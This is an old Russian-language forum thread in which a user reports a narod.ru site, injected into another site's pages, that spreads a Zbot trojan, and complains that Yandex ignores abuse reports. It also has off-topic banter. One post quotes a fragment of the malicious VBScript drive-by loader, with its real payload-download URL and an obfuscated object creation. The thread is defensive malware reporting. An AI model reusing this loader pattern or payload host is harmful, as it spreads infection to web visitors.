no comments
http://forum.web-hack.ru/index.php?showtopic=69993&st=0&&go=1#entry582906
ps. Или тусящие там ддосеры/ботмастера/и прочие читоры все свои в доску?
kostich добавил 04.02.2008 в 12:06
Хронология промоушена:
http://blogs.yandex.ru/search.xml?how=tm&rd=2&text=SecureServerTech
31.01.2008 10:20 · Форум о поисковых системах · forum.searchengines.ru
31.01.2008 12:09 · mastertalk · mastertalk.ru
Вчера, 22:04 · WHB · forum.web-hack.ru
А почему не в разделе "Покупка/Продажа/Работа" разместили? Проверки боитесь или стремно?
ps. эххх...
kostich добавил 04.02.2008 в 12:47
странно будет если народ с вебхака их не ддоснет с целью проверки.
kostich добавил 04.02.2008 в 13:02
опять отожгли
очевидно любящую мать... на растерзание. целиком и полностью, 24 часа в сутки, 365 дней в году и никаких садиков... жену хоть каплю жалко?
ps. один из моих друзей поступил на столько красиво, что поступок достоен всеобщей похвалы и моря наград - он умудрился уйти в декретное плавание из коммерческой структуры. ВОТ ЭТО МУЖИК сказала бухгалтерша... в их конторе женщины не всегда декретные урвать умудярются, а тут мужику подписали.
kostich добавил 03.02.2008 в 18:46
а Вы за всех пожалуйста не говорите, т.к. один из ораторов уже сознался... жду остальных 😂
да.. а то завтра информ-повод не такой зачотный будет... лучше пускай до завтра повесит.
kostich добавил 04.02.2008 в 09:42
Браво Яндакс!!! прошло еще десять часов и krandash(dot)narod(dot)ru проинсерченный в страницы трели.ру все еще участвует в схеме распространения вирусов.
у Вас свои дети есть?
kostich добавил 03.02.2008 в 17:55
kostich добавил 03.02.2008 в 17:57
ps. самые лучшие родители как правило те у кого своих детей нет... а советовать могут часами.
не забудет проигнорировать?
я в душе не знаю где эта поддержка и делаю whois на ip, и whois на домен... писал на все контакты которые там указаны и в т.ч. и на abuse@yandex.ru... на последний вот только что еще раз повторил.
на сайт грузящий трояны и размещенный на народ.ру
ну как бы на абузы реагировать надо.
больше всех прикалывают сотрудники Яндекс-а, т.к. прошло уже 8 часов а сайт на народе жив.
ну так там реально какая-то хрень сгружается и спасибо касперу за то что сообщило...
kostich добавил 03.02.2008 в 12:25
Загружается там в итоге сплойт на VB, а exe берет вот тут:
on error resume next dsl = "http://amfitos.com/classes/ie/exe.php" Set ydsf = document.createElement("object") kipf1="clsi" kipf2="d:BD96"
после проверки каспером сказало что там Trojan-Spy.Win32.Zbot.zf (NOD32 спокойно отреагировал)
ps. Буду благодарен, если кто-то ковырнет адрес хоста на который стучит троян, т.к. в винде у нас все нули.
kostich добавил 03.02.2008 в 12:30
На VirusTotal его уже знают -> http://www.virustotal.com/ru/reanalisis.html?40bf2cf2e37288ab36bb384d4a7b065b В проверке от 01.27 макафи сосал, если прямым текстом.
